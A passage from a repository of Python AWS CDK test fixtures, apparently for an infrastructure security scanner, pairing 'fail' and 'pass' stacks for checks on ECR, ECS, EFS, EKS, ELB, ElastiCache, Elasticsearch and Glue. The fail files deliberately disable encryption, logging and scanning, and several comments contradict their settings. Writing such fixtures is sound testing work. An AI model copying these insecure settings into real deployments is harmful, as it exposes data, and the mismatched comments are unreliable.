ec2.Vpc( self, 'MyVpc', max_azs=2 # Replace with the desired number of Availability Zones ) # Define EC2 Instance with Network Interface having Public IP instance = ec2.CfnInstance( self, 'MyEC2Instance', image_id='ami-12345678', # Replace with your desired AMI ID instance_type='t2.micro', # Replace with your desired instance type network_interfaces=[{ 'deviceIndex': '0', 'subnet_id': vpc.public_subnets[0].subnet_id, 'associate_public_ip_address': False }] # Other properties for your EC2 Instance ) app = core.App() MyEC2InstanceStack(app, "MyEC2InstanceStack") app.synth() class MyEC2LaunchTemplateStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Launch Template for the EC2 Instance launch_template = ec2.CfnLaunchTemplate( self, 'MyLaunchTemplate', launch_template_name='my-launch-template', launch_template_data={ 'network_interfaces': [{ 'deviceIndex': '0', 'associate_public_ip_address': False }] # Other properties for your Launch Template Data } ) app = core.App() MyEC2LaunchTemplateStack(app, "MyEC2LaunchTemplateStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ECRImageScanning/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_ecr as ecr class MyECRStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an ECR repository with image scanning on push enabled ecr_repository = ecr.Repository( self, "MyECRRepository", repository_name="my-ecr-repo", ) ================================================ FILE: cdk_integration_tests/src/python/ECRImageScanning/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_ecr as ecr class MyECRStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an ECR repository with image scanning on push enabled ecr_repository = ecr.Repository( self, "MyECRRepository", repository_name="my-ecr-repo", image_scan_on_push=True, # Enable image scanning on push ) ================================================ FILE: cdk_integration_tests/src/python/ECRImmutableTags/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_ecr as ecr class MyECRStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an ECR repository with immutable image tags ecr_repository = ecr.Repository( self, "MyECRRepository", repository_name="my-ecr-repo", image_tag_mutability=ecr.TagMutability.MUTABLE, # Set image tag mutability to IMMUTABLE ) ================================================ FILE: cdk_integration_tests/src/python/ECRImmutableTags/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_ecr as ecr class MyECRStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an ECR repository with immutable image tags ecr_repository = ecr.Repository( self, "MyECRRepository", repository_name="my-ecr-repo", image_tag_mutability=ecr.TagMutability.IMMUTABLE, # Set image tag mutability to IMMUTABLE ) ================================================ FILE: cdk_integration_tests/src/python/ECRRepositoryEncrypted/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_ecr as ecr class MyECRRepositoryStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define ECR Repository with Encryption Configuration ecr.CfnRepository( self, 'MyECRRepository', repository_name='my-ecr-repo', ) app = core.App() MyECRRepositoryStack(app, "MyECRRepositoryStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ECRRepositoryEncrypted/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_ecr as ecr class MyECRRepositoryStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define ECR Repository with Encryption Configuration ecr.CfnRepository( self, 'MyECRRepository', repository_name='my-ecr-repo', encryption_configuration={ 'encryptionType': 'KMS' } # Other properties for your ECR Repository ) app = core.App() MyECRRepositoryStack(app, "MyECRRepositoryStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ECSClusterContainerInsights/fail__1__.py ================================================ import aws_cdk as core from constructs import Construct from aws_cdk import aws_ecs as ecs from aws_cdk import aws_ec2 as ec2 class MyECSClusterStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) vpc = ec2.Vpc(self, "Vpc", ip_protocol=ec2.IpProtocol.DUAL_STACK ) cluster = ecs.Cluster(self, "EcsCluster", vpc=vpc, container_insights=False) cluster2 = ecs.Cluster(self, "EcsCluster2", vpc=vpc) cluster3 = ecs.Cluster(self, "EcsCluster3", vpc=vpc, container_insights_v2=ecs.ContainerInsights.DISABLED) cluster4 = ecs.CfnCluster( self, 'MyECSCluster4', cluster_name='my-ecs-cluster', cluster_settings=[{ 'name': 'containerInsights', 'value': 'disabled' }] # Other properties for your ECS Cluster ) cluster5 = ecs.CfnCluster( self, 'MyECSCluster5', cluster_name='my-ecs-cluster' # Other properties for your ECS Cluster ) app = core.App() MyECSClusterStack(app, "MyECSClusterStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ECSClusterContainerInsights/pass.py ================================================ import aws_cdk as core from constructs import Construct from aws_cdk import aws_ecs as ecs from aws_cdk import aws_ec2 as ec2 class MyECSClusterStack(core.Stack): def __init__(self, scope: Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) vpc = ec2.Vpc(self, "Vpc", ip_protocol=ec2.IpProtocol.DUAL_STACK ) cluster = ecs.Cluster(self, "EcsCluster", vpc=vpc, container_insights=True) cluster2 = ecs.Cluster(self, "EcsCluster2", vpc=vpc, container_insights_v2=ecs.ContainerInsights.ENHANCED) cluster3 = ecs.Cluster(self, "EcsCluster3", vpc=vpc, container_insights_v2=ecs.ContainerInsights.ENABLED) cluster4 = ecs.CfnCluster( self, 'MyECSCluster4', cluster_name='my-ecs-cluster', cluster_settings=[{ 'name': 'containerInsights', 'value': 'enabled' }] # Other properties for your ECS Cluster ) cluster5 = ecs.CfnCluster( self, 'MyECSCluster5', cluster_name='my-ecs-cluster', cluster_settings=[{ 'name': 'containerInsights', 'value': 'enhanced' }] # Other properties for your ECS Cluster ) app = core.App() MyECSClusterStack(app, "MyECSClusterStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ECSTaskDefinitionEFSVolumeEncryption/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_ecs as ecs class MyECSTaskDefinitionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define ECS Task Definition with an EFS volume configuration and transit encryption disabled task_definition = ecs.CfnTaskDefinition( self, 'MyTaskDefinition', volumes=[ { 'efs_volume_configuration': { 'transit_encryption': 'DISABLED' } } ] # Other properties for your ECS Task Definition ) app = core.App() MyECSTaskDefinitionStack(app, "MyECSTaskDefinitionStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ECSTaskDefinitionEFSVolumeEncryption/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_ecs as ecs class MyECSTaskDefinitionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define ECS Task Definition with an EFS volume configuration and transit encryption disabled task_definition = ecs.CfnTaskDefinition( self, 'MyTaskDefinition', volumes=[ { 'efs_volume_configuration': { 'transit_encryption': 'ENABLED' } } ] # Other properties for your ECS Task Definition ) app = core.App() MyECSTaskDefinitionStack(app, "MyECSTaskDefinitionStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/EFSEncryptionEnabled/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_efs as efs class EfsStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) efs_file_system = efs.FileSystem( self, "EfsFileSystem", encrypted=False, # Set Encrypted property to False lifecycle_policy=efs.LifecyclePolicy.AFTER_7_DAYS, ) app = core.App() EfsStack(app, "EfsStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/EFSEncryptionEnabled/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_efs as efs class EfsStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an EFS file system with the Encrypted property set to True efs_file_system = efs.FileSystem( self, "EfsFileSystem", encrypted=True, # Set Encrypted property to True lifecycle_policy=efs.LifecyclePolicy.AFTER_7_DAYS, ) app = core.App() EfsStack(app, "EfsStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/EKSSecretsEncryption/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_eks as eks class MyEKSClusterStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define EKS Cluster with Encryption Configuration cluster = eks.CfnCluster( self, 'MyEKSCluster', name='my-eks-cluster', encryption_config=[{ 'resources': ['abc'] }] # Other properties for your EKS Cluster ) app = core.App() MyEKSClusterStack(app, "MyEKSClusterStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/EKSSecretsEncryption/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_eks as eks class MyEKSClusterStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define EKS Cluster with Encryption Configuration cluster = eks.CfnCluster( self, 'MyEKSCluster', name='my-eks-cluster', encryption_config=[{ 'resources': ['secrets'] }] # Other properties for your EKS Cluster ) app = core.App() MyEKSClusterStack(app, "MyEKSClusterStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ELBAccessLogs/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticloadbalancing as elb class MyLoadBalancerStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Elastic Load Balancer with access logging policy enabled load_balancer = elb.CfnLoadBalancer( self, 'MyLoadBalancer', listeners=[ { 'instancePort': '80', 'instanceProtocol': 'HTTP', 'loadBalancerPort': '80', 'protocol': 'HTTP' } ], access_logging_policy=elb.CfnLoadBalancer.AccessLoggingPolicyProperty( enabled=False, s3_bucket_name='my-access-logs-bucket', # Replace with your S3 bucket name emit_interval=5 # Adjust the interval as needed ) # Other properties as needed for your Load Balancer ) app = core.App() MyLoadBalancerStack(app, "MyLoadBalancerStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ELBAccessLogs/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticloadbalancing as elb class MyLoadBalancerStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Elastic Load Balancer with access logging policy enabled load_balancer = elb.CfnLoadBalancer( self, 'MyLoadBalancer', listeners=[ { 'instancePort': '80', 'instanceProtocol': 'HTTP', 'loadBalancerPort': '80', 'protocol': 'HTTP' } ], access_logging_policy=elb.CfnLoadBalancer.AccessLoggingPolicyProperty( enabled=True, s3_bucket_name='my-access-logs-bucket', # Replace with your S3 bucket name emit_interval=5 # Adjust the interval as needed ) # Other properties as needed for your Load Balancer ) app = core.App() MyLoadBalancerStack(app, "MyLoadBalancerStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ELBv2AccessLogs/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticloadbalancingv2 as elbv2 class MyALBWithAccessLogs(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Elastic Load Balancer V2 with access logs enabled alb = elbv2.CfnLoadBalancer( self, 'MyALB', load_balancer_attributes=[ elbv2.CfnLoadBalancer.LoadBalancerAttributeProperty( key="access_logs.s3.enabled", value="false" ) ], # Other properties for your Application Load Balancer ) app = core.App() MyALBWithAccessLogs(app, "MyALBWithAccessLogs") app.synth() class MyALBWithAccessLogs2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Elastic Load Balancer V2 with access logs enabled alb = elbv2.CfnLoadBalancer( self, 'MyALB' ) app = core.App() MyALBWithAccessLogs2(app, "MyALBWithAccessLogs2") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ELBv2AccessLogs/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticloadbalancingv2 as elbv2 class MyALBWithAccessLogs(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Elastic Load Balancer V2 with access logs enabled alb = elbv2.CfnLoadBalancer( self, 'MyALB', load_balancer_attributes=[ elbv2.CfnLoadBalancer.LoadBalancerAttributeProperty( key="access_logs.s3.enabled", value="true" ) ], # Other properties for your Application Load Balancer ) app = core.App() MyALBWithAccessLogs(app, "MyALBWithAccessLogs") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ElasticacheReplicationGroupEncryptionAtRest/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticache as elasticache class ElastiCacheReplicationGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an Amazon ElastiCache replication group replication_group = elasticache.CfnReplicationGroup( self, "MyElastiCacheReplicationGroup", replication_group_description="My Replication Group", automatic_failover_enabled=True, replication_group_id="my-replication-group", cache_node_type="cache.m4.large", engine="redis", engine_version="5.0.6", num_node_groups=2, cache_subnet_group_name="my-subnet-group", security_group_ids=["sg-0123456789abcdef0"], ) app = core.App() ElastiCacheReplicationGroupStack(app, "ElastiCacheReplicationGroupStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ElasticacheReplicationGroupEncryptionAtRest/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticache as elasticache class ElastiCacheReplicationGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an Amazon ElastiCache replication group replication_group = elasticache.CfnReplicationGroup( self, "MyElastiCacheReplicationGroup", replication_group_description="My Replication Group", automatic_failover_enabled=True, replication_group_id="my-replication-group", cache_node_type="cache.m4.large", engine="redis", engine_version="5.0.6", num_node_groups=2, cache_subnet_group_name="my-subnet-group", security_group_ids=["sg-0123456789abcdef0"], at_rest_encryption_enabled=True # Enable encryption at rest ) app = core.App() ElastiCacheReplicationGroupStack(app, "ElastiCacheReplicationGroupStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ElasticacheReplicationGroupEncryptionAtTransit/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticache as elasticache class ElastiCacheReplicationGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an AWS ElastiCache Replication Group replication_group = elasticache.CfnReplicationGroup( self, "MyElastiCacheReplicationGroup", replication_group_id="my-replication-group", replication_group_description="My ElastiCache Replication Group", cache_node_type="cache.m4.large", engine="redis", engine_version="5.0.6", port=6379, num_cache_clusters=2, automatic_failover_enabled=True, ) app = core.App() ElastiCacheReplicationGroupStack(app, "ElastiCacheReplicationGroupStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ElasticacheReplicationGroupEncryptionAtTransit/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticache as elasticache class ElastiCacheReplicationGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an AWS ElastiCache Replication Group replication_group = elasticache.CfnReplicationGroup( self, "MyElastiCacheReplicationGroup", replication_group_id="my-replication-group", replication_group_description="My ElastiCache Replication Group", cache_node_type="cache.m4.large", engine="redis", engine_version="5.0.6", port=6379, num_cache_clusters=2, automatic_failover_enabled=True, transit_encryption_enabled=True # Enable transit encryption ) app = core.App() ElastiCacheReplicationGroupStack(app, "ElastiCacheReplicationGroupStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ElasticacheReplicationGroupEncryptionAtTransitAuthToken/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticache as elasticache class MyElastiCacheReplicationGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define ElastiCache Replication Group with encryption and auth token elasticache.CfnReplicationGroup( self, 'MyElastiCacheReplicationGroup', replication_group_description='MyReplicationGroup', cache_node_type='cache.t2.small', engine='redis', engine_version='6.x', num_node_groups=1, automatic_failover_enabled=True, transit_encryption_enabled=False, # Enable transit encryption auth_token='YourAuthTokenHere' # Provide the auth token # ... other properties as needed ) app = core.App() MyElastiCacheReplicationGroupStack(app, "MyElastiCacheReplicationGroupStack") app.synth() class MyElastiCacheReplicationGroupStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define ElastiCache Replication Group with encryption and auth token elasticache.CfnReplicationGroup( self, 'MyElastiCacheReplicationGroup', replication_group_description='MyReplicationGroup', cache_node_type='cache.t2.small', engine='redis', engine_version='6.x', num_node_groups=1, automatic_failover_enabled=True, transit_encryption_enabled=True, # Enable transit encryption # ... other properties as needed ) app = core.App() MyElastiCacheReplicationGroupStack2(app, "MyElastiCacheReplicationGroupStack2") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ElasticacheReplicationGroupEncryptionAtTransitAuthToken/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticache as elasticache class MyElastiCacheReplicationGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define ElastiCache Replication Group with encryption and auth token elasticache.CfnReplicationGroup( self, 'MyElastiCacheReplicationGroup', replication_group_description='MyReplicationGroup', cache_node_type='cache.t2.small', engine='redis', engine_version='6.x', num_node_groups=1, automatic_failover_enabled=True, transit_encryption_enabled=True, # Enable transit encryption auth_token='YourAuthTokenHere' # Provide the auth token # ... other properties as needed ) app = core.App() MyElastiCacheReplicationGroupStack(app, "MyElastiCacheReplicationGroupStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ElasticsearchDomainEnforceHTTPS/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticsearch as elasticsearch class ElasticsearchStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an Amazon Elasticsearch domain elasticsearch_domain = elasticsearch.CfnDomain( self, "MyElasticsearchDomain", domain_name="my-elasticsearch-domain", elasticsearch_version="7.10", node_to_node_encryption_options={ "enabled": True }, ebs_options={ "ebsEnabled": True, "volumeSize": 10 }, ) # Create the CDK app and stack app = core.App() ElasticsearchStack(app, "ElasticsearchStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ElasticsearchDomainEnforceHTTPS/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticsearch as elasticsearch class ElasticsearchStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an Amazon Elasticsearch domain elasticsearch_domain = elasticsearch.CfnDomain( self, "MyElasticsearchDomain", domain_name="my-elasticsearch-domain", elasticsearch_version="7.10", node_to_node_encryption_options={ "enabled": True }, domain_endpoint_options=elasticsearch.CfnDomain.DomainEndpointOptionsProperty( custom_endpoint="customEndpoint", custom_endpoint_certificate_arn="customEndpointCertificateArn", custom_endpoint_enabled=False, enforce_https=True, tls_security_policy="tlsSecurityPolicy" ), ebs_options={ "ebsEnabled": True, "volumeSize": 10 }, ) # Create the CDK app and stack app = core.App() ElasticsearchStack(app, "ElasticsearchStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ElasticsearchDomainLogging/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticsearch as elasticsearch from aws_cdk import aws_opensearchservice as opensearchservice class MyElasticsearchDomainStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Elasticsearch Domain with LogPublishingOptions for different log types elasticsearch.CfnDomain( self, 'MyElasticsearchDomain', domain_name='my-elasticsearch-domain', elasticsearch_version='7.10', # Replace with your desired Elasticsearch version node_to_node_encryption_options={ 'enabled': True }, log_publishing_options={ 'logPublishingOptionsKey': elasticsearch.CfnDomain.LogPublishingOptionProperty( cloud_watch_logs_log_group_arn='arn:aws:logs:REGION:ACCOUNT_ID:log-group:LOG_GROUP_NAME', enabled=False ) } # Other properties for your Elasticsearch Domain ) app = core.App() MyElasticsearchDomainStack(app, "MyElasticsearchDomainStack") app.synth() class MyOpenSearchDomainStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define OpenSearch Service Domain with LogPublishingOptions for different log types opensearchservice.CfnDomain( self, 'MyOpenSearchDomain', domain_name='my-opensearch-domain', elasticsearch_version='7.10', # Replace with your desired OpenSearch version node_to_node_encryption_options={ 'enabled': True }, log_publishing_options={ 'logPublishingOptionsKey': opensearchservice.CfnDomain.LogPublishingOptionProperty( cloud_watch_logs_log_group_arn='arn:aws:logs:REGION:ACCOUNT_ID:log-group:LOG_GROUP_NAME', enabled=True ) } # Other properties for your OpenSearch Service Domain ) app = core.App() MyOpenSearchDomainStack(app, "MyOpenSearchDomainStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ElasticsearchDomainLogging/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticsearch as elasticsearch from aws_cdk import aws_opensearchservice as opensearchservice class MyElasticsearchDomainStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Elasticsearch Domain with LogPublishingOptions for different log types elasticsearch.CfnDomain( self, 'MyElasticsearchDomain', domain_name='my-elasticsearch-domain', elasticsearch_version='7.10', # Replace with your desired Elasticsearch version node_to_node_encryption_options={ 'enabled': True }, log_publishing_options={ 'logPublishingOptionsKey': elasticsearch.CfnDomain.LogPublishingOptionProperty( cloud_watch_logs_log_group_arn='arn:aws:logs:REGION:ACCOUNT_ID:log-group:LOG_GROUP_NAME', enabled=True ) } # Other properties for your Elasticsearch Domain ) app = core.App() MyElasticsearchDomainStack(app, "MyElasticsearchDomainStack") app.synth() class MyOpenSearchDomainStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define OpenSearch Service Domain with LogPublishingOptions for different log types opensearchservice.CfnDomain( self, 'MyOpenSearchDomain', domain_name='my-opensearch-domain', elasticsearch_version='7.10', # Replace with your desired OpenSearch version node_to_node_encryption_options={ 'enabled': True }, log_publishing_options={ 'logPublishingOptionsKey': opensearchservice.CfnDomain.LogPublishingOptionProperty( cloud_watch_logs_log_group_arn='arn:aws:logs:REGION:ACCOUNT_ID:log-group:LOG_GROUP_NAME', enabled=True ) } # Other properties for your OpenSearch Service Domain ) app = core.App() MyOpenSearchDomainStack(app, "MyOpenSearchDomainStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ElasticsearchEncryption/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticsearch as elasticsearch class MyElasticsearchDomainStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Elasticsearch Domain with Encryption At Rest Enabled elasticsearch.CfnDomain( self, 'MyElasticsearchDomain', domain_name='my-elasticsearch-domain', elasticsearch_version='7.10', # Replace with your desired Elasticsearch version encryption_at_rest_options={ 'enabled': False } # Other properties for your Elasticsearch Domain ) app = core.App() MyElasticsearchDomainStack(app, "MyElasticsearchDomainStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ElasticsearchEncryption/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticsearch as elasticsearch class MyElasticsearchDomainStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Elasticsearch Domain with Encryption At Rest Enabled elasticsearch.CfnDomain( self, 'MyElasticsearchDomain', domain_name='my-elasticsearch-domain', elasticsearch_version='7.10', # Replace with your desired Elasticsearch version encryption_at_rest_options={ 'enabled': True } # Other properties for your Elasticsearch Domain ) app = core.App() MyElasticsearchDomainStack(app, "MyElasticsearchDomainStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ElasticsearchNodeToNodeEncryption/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticsearch as elasticsearch class MyElasticsearchDomainStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Elasticsearch Domain with Node-to-Node Encryption Enabled elasticsearch.CfnDomain( self, 'MyElasticsearchDomain', domain_name='my-elasticsearch-domain', elasticsearch_version='7.10', # Replace with your desired Elasticsearch version node_to_node_encryption_options={ 'enabled': False } # Other properties for your Elasticsearch Domain ) app = core.App() MyElasticsearchDomainStack(app, "MyElasticsearchDomainStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ElasticsearchNodeToNodeEncryption/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticsearch as elasticsearch class MyElasticsearchDomainStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Elasticsearch Domain with Node-to-Node Encryption Enabled elasticsearch.CfnDomain( self, 'MyElasticsearchDomain', domain_name='my-elasticsearch-domain', elasticsearch_version='7.10', # Replace with your desired Elasticsearch version node_to_node_encryption_options={ 'enabled': True } # Other properties for your Elasticsearch Domain ) app = core.App() MyElasticsearchDomainStack(app, "MyElasticsearchDomainStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/GlueDataCatalogEncryption/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_glue as glue class MyGlueDataCatalogEncryptionSettingsStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Data Catalog encryption settings data_catalog_encryption_settings = glue.CfnDataCatalogEncryptionSettings( self, 'MyGlueDataCatalogEncryptionSettings', data_catalog_encryption_settings={ 'ConnectionPasswordEncryption': { 'ReturnConnectionPasswordEncrypted': False }, 'EncryptionAtRest': { 'CatalogEncryptionMode': 'SSE-KMS' } } ) app = core.App() MyGlueDataCatalogEncryptionSettingsStack(app, "MyGlueDataCatalogEncryptionSettingsStack") app.synth() class MyGlueDataCatalogEncryptionSettingsStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Data Catalog encryption settings data_catalog_encryption_settings = glue.CfnDataCatalogEncryptionSettings( self, 'MyGlueDataCatalogEncryptionSettings', data_catalog_encryption_settings={ 'ConnectionPasswordEncryption': { 'ReturnConnectionPasswordEncrypted': True }, } ) app = core.App() MyGlueDataCatalogEncryptionSettingsStack2(app, "MyGlueDataCatalogEncryptionSettingsStack2") app.synth() ================================================ FILE: cdk_integration_tests/src/python/GlueDataCatalogEncryption/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_glue as glue class MyGlueDataCatalogEncryptionSettingsStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Data Catalog encryption settings data_catalog_encryption_settings = glue.CfnDataCatalogEncryptionSettings( self, 'MyGlueDataCatalogEncryptionSettings', data_catalog_encryption_settings={ 'ConnectionPasswordEncryption': { 'ReturnConnectionPasswordEncrypted': True }, 'EncryptionAtRest': { 'CatalogEncryptionMode': 'SSE-KMS' } } ) app = core.App() MyGlueDataCatalogEncryptionSettingsStack(app, "MyGlueDataCatalogEncryptionSettingsStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/GlueSecurityConfiguration/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_glue as glue class MyGlueSecurityConfigurationStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define the security configuration with encryption settings security_configuration = glue.CfnSecurityConfiguration( self, 'MyGlueSecurityConfiguration', encryption_configuration={ 'CloudWatchEncryption': { 'CloudWatchEncryptionMode': 'SSE-KMS' }, 'JobBookmarksEncryption': { 'JobBookmarksEncryptionMode': 'DISABLED' }, 'S3Encryptions': [ { 'S3EncryptionMode': 'SSE-KMS' } ] } ) app = core.App() MyGlueSecurityConfigurationStack(app, "MyGlueSecurityConfigurationStack") app.synth() class MyGlueSecurityConfigurationStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define the security configuration with encryption settings security_configuration = glue.CfnSecurityConfiguration( self, 'MyGlueSecurityConfiguration', encryption_configuration={ 'JobBookmarksEncryption': { 'JobBookmarksEncryptionMode': 'CSE-KMS' }, 'S3Encryptions': [ { 'S3EncryptionMode': 'SSE-KMS' } ] } ) app = core.App() MyGlueSecurityConfigurationStack2(app, "MyGlueSecurityConfigurationStack2") app.synth() ================================================ FILE: cdk_integration_tests/src/python/GlueSecurityConfiguration/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_glue as glue class MyGlueSecurityConfigurationStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define the security configuration with encryption settings security_configuration = glue.CfnSecurityConfiguration( self, 'MyGlueSecurityConfiguration', encryption_configuration={ 'CloudWatchEncryption': { 'CloudWatchEncryptionMode': 'SSE-KMS' }, 'JobBookmarksEncryption': { 'JobBookmarksEncryptionMode': 'CSE-KMS' }, 'S3Encryptions': [ { 'S3EncryptionMode': 'SSE-KMS' } ] } ) app = core.App() MyGlueSecurityConfigurationStack(app, "MyGlueSecurityConfigurationStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/GlueSecurityConfigurationEnabled/fail__3__.py ================================================ from aws_cdk import core from aws_cdk import aws_glue as glue class GlueCrawlerStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) crawler = glue.CfnCrawler( self, "MyCrawler", name="MyCrawler", 